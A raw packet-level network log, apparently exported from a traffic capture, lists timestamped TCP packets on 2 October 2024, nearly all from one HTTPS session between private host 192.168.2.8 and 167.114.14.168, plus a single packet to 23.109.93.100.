Oct 2, 2024 06:11:47.192501068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.192512989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.192656994 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.203500032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.203514099 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.203846931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.203855038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.204173088 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.204530001 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.204545021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.204720974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.204725981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.204806089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.206007004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.206022024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.206124067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.206130981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.206481934 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.206743002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.206758976 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.206876040 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.206882000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.206933022 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.215682983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.215699911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.215784073 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.215790987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.215893984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.216212034 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.216227055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.216348886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.216355085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.216483116 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.219047070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.219063044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.219253063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.219258070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.219407082 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.282947063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.282963991 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.283066034 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.283066034 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.283072948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.283200979 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.294151068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.294167995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.294333935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.294342041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.294395924 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.295197010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.295211077 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.295298100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.295298100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.295303106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.295373917 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.296717882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.296732903 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.296880007 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.296885967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.297200918 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.297208071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.297219992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.297243118 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.297278881 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.297283888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.297311068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.297365904 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.306534052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.306549072 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.306619883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.306624889 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.306727886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.307049990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.307065010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.307192087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.307199001 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.307334900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.309783936 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.309823036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.309933901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.309933901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.309941053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.310157061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.373702049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.373725891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.375716925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.375725031 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.383640051 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.384861946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.384876966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.385835886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.385883093 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.385900021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.385921955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.385940075 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.387398005 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.387412071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.387432098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.387439966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.388015032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.388035059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.388047934 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.388055086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.388083935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.389813900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.397237062 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.397253036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.397723913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.397778034 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.397783041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.397803068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.397825003 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.400438070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.400454998 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.400474072 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.400482893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.400556087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.400557041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.410765886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.464546919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.464565039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.464656115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.464664936 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.464709997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.475522041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.475538969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.475610971 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.475617886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.475657940 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.476342916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.476357937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.476411104 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.476417065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.476460934 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.478108883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.478123903 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.478167057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.478172064 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.478202105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.478219986 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.478811979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.478847027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.478864908 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.478871107 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.478899002 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.478919029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.487929106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.487946987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.488044977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.488051891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.488106966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.488440990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.488462925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.488503933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.488508940 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.488538027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.488553047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.491368055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.491400003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.491439104 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.491446972 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.491475105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.491493940 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.555176020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.555208921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.555316925 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.555327892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.555377007 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.566467047 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.566487074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.566581964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.566591024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.566632032 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.567270041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.567291021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.567328930 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.567336082 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.567367077 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.567379951 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.568726063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.568742990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.568792105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.568799973 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.568840027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.569256067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.569274902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.569310904 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.569319010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.569344997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.569365025 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.578742981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.578761101 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.578859091 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.578872919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.578913927 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.579225063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.579241037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.579281092 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.579288960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.579317093 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.579336882 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.581958055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.581976891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.582052946 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.582058907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.582096100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.645912886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.645939112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.646022081 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.646042109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.646091938 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.649406910 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.658453941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.658477068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.658523083 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.658533096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.658571005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.658781052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.658799887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.658833981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.658840895 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.658859968 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.658879042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.659729958 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.659755945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.659801006 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.659807920 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.659842968 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.660146952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.660164118 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.660212040 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.660218954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.660247087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.660264015 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.672532082 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.672565937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.672632933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.672646046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.672683954 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.673064947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.673086882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.673126936 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.673134089 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.673156023 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.673171043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.673470020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.673522949 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.673528910 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.673535109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.673574924 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.677710056 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.736593962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.736619949 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.736726999 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.736753941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.736803055 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.748087883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.748111010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.748167992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.748178959 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.748226881 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.749548912 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.749572039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.749624968 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.749634027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.749687910 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.750201941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.750221014 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.750308037 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.750315905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.750356913 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.750619888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.750638008 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.750693083 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.750699997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.750729084 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.750745058 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.763155937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.763183117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.763281107 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.763289928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.763377905 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.763597965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.763614893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.763660908 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.763668060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.763711929 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.764375925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.764399052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.764448881 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.764456987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.764486074 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.764508963 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.790853024 CEST	49707	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:47.827518940 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.827541113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.827600956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.827614069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.827625036 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.827660084 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.838685989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.838705063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.838783979 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.838793039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.838829994 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.840317965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.840367079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.840389967 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.840395927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.840430021 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.840451956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.840897083 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.840912104 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.840966940 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.840974092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.841015100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.841324091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.841346025 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.841382027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.841388941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.841425896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.841451883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.853852987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.853873014 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.853931904 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.853941917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.853986025 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.854521036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.854537964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.854584932 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.854593039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:47.854603052 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:47.854629040 CEST	49723	443	192.168.2.8	167.114.14.168
